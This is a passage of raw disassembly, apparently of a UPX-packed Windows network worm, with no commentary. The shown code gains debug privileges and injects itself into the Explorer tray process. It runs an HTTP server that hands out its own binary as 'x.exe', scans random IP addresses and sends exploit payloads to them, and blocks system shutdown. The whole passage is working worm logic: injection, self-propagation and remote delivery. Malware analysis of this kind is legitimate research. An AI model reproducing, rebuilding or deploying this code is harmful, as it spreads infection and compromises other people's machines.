call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0A0h push offset dword_31424868 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C cmp [ebp+arg_0], 0 jz loc_31421CE7 push 68h lea eax, [ebp+var_89E4] push offset dword_31424A20 push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31422CE2 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_31424A8C push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31422CE2 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31424B00 push eax call sub_31422CE2 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31421D3F ; --------------------------------------------------------------------------- loc_31421BF7: ; CODE XREF: sub_31421801+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31422CD6 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31424BF8 push eax call sub_31422CE2 ; memcpy push offset byte_314242B8 call sub_31422CDC ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_314242B8 push eax call sub_31422CE2 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_31424C70 push eax call sub_31422CE2 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31424BF8 push eax call sub_31422CE2 ; memcpy add esp, 40h push offset byte_314242B8 call sub_31422CDC ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_314242B8 push eax call sub_31422CE2 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31421C93: ; CODE XREF: sub_31421801+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31421C93 and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31422CD6 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31422CD6 ; memset add esp, 18h jmp loc_31421A98 ; --------------------------------------------------------------------------- loc_31421CE7: ; CODE XREF: sub_31421801+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_3142490C push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31422CE2 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_3142498C push eax call sub_31422CE2 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31421D3F: ; CODE XREF: sub_31421801+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_31421D4C: ; CODE XREF: sub_31421801+1ADj ; sub_31421801+1E1j ... push 2 push [ebp+var_4] call dword_31421170 ; shutdown loc_31421D57: ; CODE XREF: sub_31421801+166j push [ebp+var_4] call dword_31421174 ; closesocket pop esi loc_31421D61: ; CODE XREF: sub_31421801+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_31421801 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421D68 proc near ; CODE XREF: UPX0:loc_31422376p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_314210A8 ; LoadLibraryA mov esi, dword_314210A4 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_31421DEC push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_31421DEC push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_31421DEC lea eax, [ebp+var_C] push eax push 20h call dword_314210A0 ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_31421DEC: ; CODE XREF: sub_31421D68+28j ; sub_31421D68+37j ... pop edi pop esi leave retn sub_31421D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421DF0 proc near ; CODE XREF: UPX0:3142238Ap var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_31425000 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_314210B4 ; GetModuleHandleA mov esi, dword_314210A4 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_31421E37 loc_31421E33: ; CODE XREF: sub_31421DF0+54j push 1 jmp short loc_31421E88 ; --------------------------------------------------------------------------- loc_31421E37: ; CODE XREF: sub_31421DF0+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_31421E33 push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31421110 ; FindWindowA test eax, eax jnz short loc_31421E65 call dword_31421114 ; GetForegroundWindow test eax, eax jnz short loc_31421E65 push 2 jmp short loc_31421E88 ; --------------------------------------------------------------------------- loc_31421E65: ; CODE XREF: sub_31421DF0+65j ; sub_31421DF0+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_31421118 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_314210B0 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_31421E8B push 3 loc_31421E88: ; CODE XREF: sub_31421DF0+45j ; sub_31421DF0+73j pop eax jmp short loc_31421EF6 ; --------------------------------------------------------------------------- loc_31421E8B: ; CODE XREF: sub_31421DF0+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_3142107C test eax, eax jz short loc_31421EE9 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_314210AC ; WriteProcessMemory push dword_31424FF4 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31421ED5 push eax call esi ; CloseHandle jmp short loc_31421EF0 ; --------------------------------------------------------------------------- loc_31421ED5: ; CODE XREF: sub_31421DF0+DEj push offset aUterm19 ; "uterm19" call sub_31421F29 pop ecx mov [ebp+var_4], 5 jmp short loc_31421EF0 ; --------------------------------------------------------------------------- loc_31421EE9: ; CODE XREF: sub_31421DF0+B2j mov [ebp+var_4], 4 loc_31421EF0: ; CODE XREF: sub_31421DF0+E3j ; sub_31421DF0+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_31421EF6: ; CODE XREF: sub_31421DF0+99j pop edi pop esi pop ebx leave retn sub_31421DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421EFB proc near ; CODE XREF: sub_314221C4+Bp ; UPX0:3142234Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_314210B8 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_314210EC ; srand pop ecx pop edi pop esi pop ebx leave retn sub_31421EFB endp ; =============== S U B R O U T I N E ======================================= sub_31421F29 proc near ; CODE XREF: sub_31421DF0+EAp ; UPX0:31422356p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_314210BC ; CreateMutexA retn sub_31421F29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421F38 proc near ; CODE XREF: sub_314223B2+155p ; sub_314223B2+160p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314210C0 ; CreateThread pop ebp retn sub_31421F38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421F52 proc near ; CODE XREF: sub_314221C4+12Cp ; sub_314225C3+5Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314210C0 ; CreateThread push eax call dword_3142107C ; CloseHandle pop ebp retn sub_31421F52 endp ; =============== S U B R O U T I N E ======================================= sub_31421F73 proc near ; CODE XREF: sub_314211A0+68p ; sub_31422A9B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31421F9B loc_31421F84: ; CODE XREF: sub_31421F73+26j call dword_314210FC ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31421F84 loc_31421F9B: ; CODE XREF: sub_31421F73+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31421F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421FA3 proc near ; CODE XREF: sub_314211A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31422CD6 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_314210C4 ; CreateProcessA push [ebp+var_C] mov esi, dword_3142107C mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_31421FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421FF9 proc near ; CODE XREF: sub_3142264B+3Ep ; sub_31422712+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_3142114C ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_3142201A call dword_31421150 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_3142201A: ; CODE XREF: sub_31421FF9+15j lea eax, [ebp+var_34] push eax call dword_31421154 ; gethostbyname test eax, eax jnz short loc_3142202F mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_3142202F: ; CODE XREF: sub_31421FF9+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_31421FF9 endp ; =============== S U B R O U T I N E ======================================= sub_31422038 proc near ; CODE XREF: sub_314216A2+12p ; sub_3142255F+22p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_31421130 ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_31422038 endp ; =============== S U B R O U T I N E ======================================= sub_3142204E proc near ; CODE XREF: sub_314223B2+E6p arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_314210CC ; OpenEventA test eax, eax jz short locret_31422067 push eax call dword_314210C8 ; SetEvent locret_31422067: ; CODE XREF: sub_3142204E+10j retn sub_3142204E endp ; =============== S U B R O U T I N E ======================================= sub_31422068 proc near ; CODE XREF: sub_314216A2+68p push esi mov esi, dword_314210FC push edi call esi ; rand mov edi, eax shl edi, 10h call esi ; rand or eax, edi pop edi pop esi retn sub_31422068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142207E proc near ; DATA XREF: sub_314221C4+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jnz short loc_314220AF push 1 jmp loc_3142216A ; --------------------------------------------------------------------------- loc_314220AF: ; CODE XREF: sub_3142207E+28j mov esi, dword_31421104 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_3142217A lea eax, [ebp+var_100] push offset dword_314241F0 push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_3142217A mov esi, dword_31421168 push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push dword_31424FF0 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_3142111C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31422CDC ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_3142212C: ; CODE XREF: sub_3142207E+E8j mov eax, dword_31424FF0 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_3142213E mov eax, ecx loc_3142213E: ; CODE XREF: sub_3142207E+BCj test eax, eax jz short loc_3142216D push 0 push eax mov eax, dword_31424FE8 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31422168 cmp eax, 1000h jb short loc_3142216D push 64h add edi, eax call dword_31421094 ; Sleep jmp short loc_3142212C ; --------------------------------------------------------------------------- loc_31422168: ; CODE XREF: sub_3142207E+D5j push 2 loc_3142216A: ; CODE XREF: sub_3142207E+2Cj pop eax jmp short loc_314221BD ; --------------------------------------------------------------------------- loc_3142216D: ; CODE XREF: sub_3142207E+C2j ; sub_3142207E+DCj push offset dword_31424FEC call dword_314210D4 ; InterlockedIncrement jmp short loc_31422198 ; --------------------------------------------------------------------------- loc_3142217A: ; CODE XREF: sub_3142207E+49j ; sub_3142207E+61j mov esi, dword_31421168 push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31424D38 push ebx call esi ; send loc_31422198: ; CODE XREF: sub_3142207E+FAj push 7D0h call dword_31421094 ; Sleep push 2 push ebx call dword_31421170 ; shutdown push ebx call dword_31421174 ; closesocket push 0 call dword_314210D0 ; ExitThread xor eax, eax loc_314221BD: ; CODE XREF: sub_3142207E+EDj pop edi pop esi pop ebx leave retn 4 sub_3142207E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314221C4 proc near ; DATA XREF: sub_314223B2+150o var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_31421EFB lea eax, [ebp+var_130] push 104h push eax push offset aCryptographicS ; "Cryptographic Service" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_31424FEC, ebx call sub_31422882 add esp, 14h test eax, eax jnz loc_314222F9 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_31421080 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31422230 push 1 call dword_314210D0 ; ExitThread loc_31422230: ; CODE XREF: sub_314221C4+62j push ebx push esi call dword_314210DC ; GetFileSize push eax mov dword_31424FF0, eax call sub_31422CA5 pop ecx mov dword_31424FE8, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31424FF0 push eax push esi call dword_314210D8 ; ReadFile mov eax, [ebp+var_4] push esi mov dword_31424FF0, eax call dword_3142107C ; CloseHandle push ebx push 1 push 2 call dword_31421158 ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31422CD6 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_31422292: ; CODE XREF: sub_314221C4+E5j ; sub_314221C4+EDj ... call dword_314210FC ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_31424FFC, eax jz short loc_31422292 xor ecx, ecx mov cl, ah test cl, cl jz short loc_31422292 push eax call dword_31421160 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31421140 ; bind test eax, eax jnz short loc_31422292 push 64h push edi call dword_31421144 ; listen mov [ebp+var_8], esi pop esi loc_314222DB: ; CODE XREF: sub_314221C4+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31421148 ; accept push eax push offset sub_3142207E call sub_31421F52 pop ecx pop ecx jmp short loc_314222DB ; --------------------------------------------------------------------------- loc_314222F9: ; CODE XREF: sub_314221C4+3Dj push ebx call dword_314210D0 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_314221C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422308 proc near ; CODE XREF: sub_314223B2:loc_314224FCp var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_3142113C push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_31422308 endp ; --------------------------------------------------------------------------- loc_31422334: ; CODE XREF: UPX1:31427D08j push 0 call dword_314210B4 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_31425000, eax call dword_31421074 ; DeleteFileA call sub_31421EFB push offset aUterm19 ; "uterm19" call sub_31421F29 pop ecx mov dword_31424FF4, eax call dword_314210E4 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31422376 push 1 call dword_314210E0 ; ExitProcess loc_31422376: ; CODE XREF: UPX0:3142236Cj call sub_31421D68 call sub_314229E6 call sub_31422B67 push offset sub_314223B2 call sub_31421DF0 test eax, eax pop ecx jz short loc_3142239B push 0 call sub_314223B2 loc_3142239B: ; CODE XREF: UPX0:31422392j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_3142239E proc near ; CODE XREF: sub_314223B2:loc_31422525p ; sub_3142255F:loc_31422578p ... push 0 push dword_31424FF8 call dword_31421070 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_3142239E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314223B2 proc near ; CODE XREF: UPX0:31422396p ; DATA XREF: UPX0:31422385o var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31421190 push offset loc_31422CD0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push esi push edi mov [ebp+var_70], offset aU10x ; "u10x" mov [ebp+var_6C], offset aU11x ; "u11x" mov [ebp+var_68], offset aU12x ; "u12x" mov [ebp+var_64], offset aU13x ; "u13x" mov [ebp+var_60], offset aU14x ; "u14x" mov [ebp+var_5C], offset aU15x ; "u15x" mov [ebp+var_58], offset aU16x ; "u16x" mov [ebp+var_54], offset aU17x ; "u17x" mov [ebp+var_50], offset aU18x ; "u18x" mov [ebp+var_4C], offset aU8 ; "u8" mov [ebp+var_48], offset aU9 ; "u9" mov [ebp+var_44], offset aU10 ; "u10" mov [ebp+var_40], offset aU11 ; "u11" mov [ebp+var_3C], offset aU12 ; "u12" mov [ebp+var_38], offset aU13 ; "u13" mov [ebp+var_34], offset aU13i ; "u13i" mov [ebp+var_30], offset aU14 ; "u14" mov [ebp+var_2C], offset aU15 ; "u15" mov [ebp+var_28], offset aU16 ; "u16" mov [ebp+var_24], offset aU17 ; "u17" mov [ebp+var_20], offset aU18 ; "u18" mov [ebp+var_1C], offset aU19 ; "u19" push offset aU19x ; "u19x" xor edi, edi push edi push 1 push edi call dword_3142106C ; CreateEventA mov dword_31424FF8, eax mov [ebp+var_4], edi mov [ebp+var_74], edi loc_3142248B: ; CODE XREF: sub_314223B2+EFj cmp [ebp+var_74], 9 jnb short loc_314224A3 mov eax, [ebp+var_74] push [ebp+eax*4+var_70] call sub_3142204E pop ecx inc [ebp+var_74] jmp short loc_3142248B ; --------------------------------------------------------------------------- loc_314224A3: ; CODE XREF: sub_314223B2+DDj mov [ebp+var_74], edi loc_314224A6: ; CODE XREF: sub_314223B2+10Aj cmp [ebp+var_74], 0Dh jnb short loc_314224BE mov eax, [ebp+var_74] push [ebp+eax*4+var_4C] call sub_31421F29 pop ecx inc [ebp+var_74] jmp short loc_314224A6 ; --------------------------------------------------------------------------- loc_314224BE: ; CODE XREF: sub_314223B2+F8j cmp [ebp+arg_0], edi jz short loc_314224FC push offset aWs2_32 ; "ws2_32" mov esi, dword_314210A8 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm19 ; "uterm19" call sub_31421F29 pop ecx mov dword_31424FF4, eax loc_314224FC: ; CODE XREF: sub_314223B2+10Fj call sub_31422308 push edi push offset sub_314221C4 call sub_31421F38 push edi push offset sub_314216A2 call sub_31421F38 push edi push offset loc_3142276E call sub_31421F38 add esp, 18h loc_31422525: ; CODE XREF: sub_314223B2+18Ej call sub_3142239E test eax, eax jnz short loc_31422542 push edi call dword_31421018 ; AbortSystemShutdownA push 1388h call dword_31421094 ; Sleep jmp short loc_31422525 ; --------------------------------------------------------------------------- loc_31422542: ; CODE XREF: sub_314223B2+17Aj or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_314223B2 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142255F proc near ; DATA XREF: sub_314225C3+55o ; sub_3142264B+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_3142256E push 1 pop eax jmp short locret_314225BF ; --------------------------------------------------------------------------- loc_3142256E: ; CODE XREF: sub_3142255F+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_31422578: ; CODE XREF: sub_3142255F+5Aj call sub_3142239E test eax, eax jnz short loc_314225BB call sub_31422038 test eax, eax jz short loc_314225BB cmp [ebp+var_1], bl jz short loc_314225B4 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_31421801 movzx esi, word_3142500C pop ecx call dword_314210FC ; rand cdq idiv esi add edx, esi push edx call dword_31421094 ; Sleep loc_314225B4: ; CODE XREF: sub_3142255F+2Ej inc bl cmp bl, 0FFh jb short loc_31422578 loc_314225BB: ; CODE XREF: sub_3142255F+20j ; sub_3142255F+29j pop esi xor eax, eax pop ebx locret_314225BF: ; CODE XREF: sub_3142255F+Dj leave retn 4 sub_3142255F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314225C3 proc near ; DATA XREF: sub_3142264B+7Eo ; UPX0:31422803o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_314225D1 push 1 pop eax jmp short loc_31422647 ; --------------------------------------------------------------------------- loc_314225D1: ; CODE XREF: sub_314225C3+7j push ebx push esi push edi call sub_31421EFB mov esi, dword_314210FC xor ebx, ebx loc_314225E1: ; CODE XREF: sub_314225C3+7Dj call sub_3142239E test eax, eax jnz short loc_31422642 call sub_31422038 test eax, eax jz short loc_31422642 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31425004 mov byte ptr [ebp+arg_0+3], al call dword_314210D4 ; InterlockedIncrement push [ebp+arg_0] call sub_31421801 test eax, eax pop ecx jnz short loc_31422624 push [ebp+arg_0] push offset sub_3142255F call sub_31421F52 pop ecx pop ecx loc_31422624: ; CODE XREF: sub_314225C3+50j movzx edi, word_3142500C call esi ; rand cdq idiv edi add edx, edi push edx call dword_31421094 ; Sleep inc ebx cmp ebx, 8000h jl short loc_314225E1 loc_31422642: ; CODE XREF: sub_314225C3+25j ; sub_314225C3+2Ej pop edi pop esi xor eax, eax pop ebx loc_31422647: ; CODE XREF: sub_314225C3+Cj pop ebp retn 4 sub_314225C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142264B proc near ; DATA XREF: UPX0:3142281Bo var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_31421EFB call sub_3142239E test eax, eax jnz loc_31422704 push ebx mov ebx, dword_31421094 push esi mov esi, dword_314210FC push edi loc_31422671: ; CODE XREF: sub_3142264B+48j ; sub_3142264B+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_31422680: ; CODE XREF: sub_3142264B+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_31422680 call sub_31421FF9 mov edi, [ebp+var_4] cmp edi, eax jz short loc_31422671 call sub_31422038 test eax, eax jz short loc_314226DC push offset dword_31425004 call dword_314210D4 ; InterlockedIncrement push edi call sub_31421801 test eax, eax pop ecx jnz short loc_314226E3 push edi push offset sub_3142255F call sub_31421F52 pop ecx mov [ebp+var_8], 4 pop ecx loc_314226C8: ; CODE XREF: sub_3142264B+8Dj push edi push offset sub_314225C3 call sub_31421F52 dec [ebp+var_8] pop ecx pop ecx jnz short loc_314226C8 jmp short loc_314226E3 ; --------------------------------------------------------------------------- loc_314226DC: ; CODE XREF: sub_3142264B+51j push 2710h call ebx ; Sleep loc_314226E3: ; CODE XREF: sub_3142264B+67j ; sub_3142264B+8Fj movzx edi, word_3142500C call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_3142239E test eax, eax jz loc_31422671 pop edi pop esi pop ebx loc_31422704: ; CODE XREF: sub_3142264B+11j push 0 call dword_314210D0 ; ExitThread xor eax, eax leave retn 4 sub_3142264B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422712 proc near ; CODE XREF: UPX0:314227E0p ; UPX0:loc_31422846p var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_31421FF9 push eax call dword_3142115C ; inet_ntoa mov esi, dword_31421068 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpyA push dword_31424FFC lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_3142111C ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_314242BA call esi ; lstrcpyA push offset byte_314242B8 call dword_31421084 ; lstrlenA mov byte_314242B8[eax], 0DFh pop esi leave retn sub_31422712 endp ; --------------------------------------------------------------------------- loc_3142276E: ; DATA XREF: sub_314223B2+166o push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_31425004, ebx call sub_31422038 mov esi, dword_31421094 mov edi, 1388h test eax, eax jnz short loc_3142279C loc_31422790: ; CODE XREF: UPX0:3142279Aj push edi call esi ; Sleep call sub_31422038 test eax, eax jz short loc_31422790 loc_3142279C: ; CODE XREF: UPX0:3142278Ej lea eax, [esp+14h] push ebx push eax call dword_31421130 ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov dword_31425008, ebx pop ebp mov word_3142500C, 96h jz short loc_314227D9 mov dword_31425008, 1 mov ebp, 15Eh mov word_3142500C, 14h loc_314227D9: ; CODE XREF: UPX0:314227BFj call 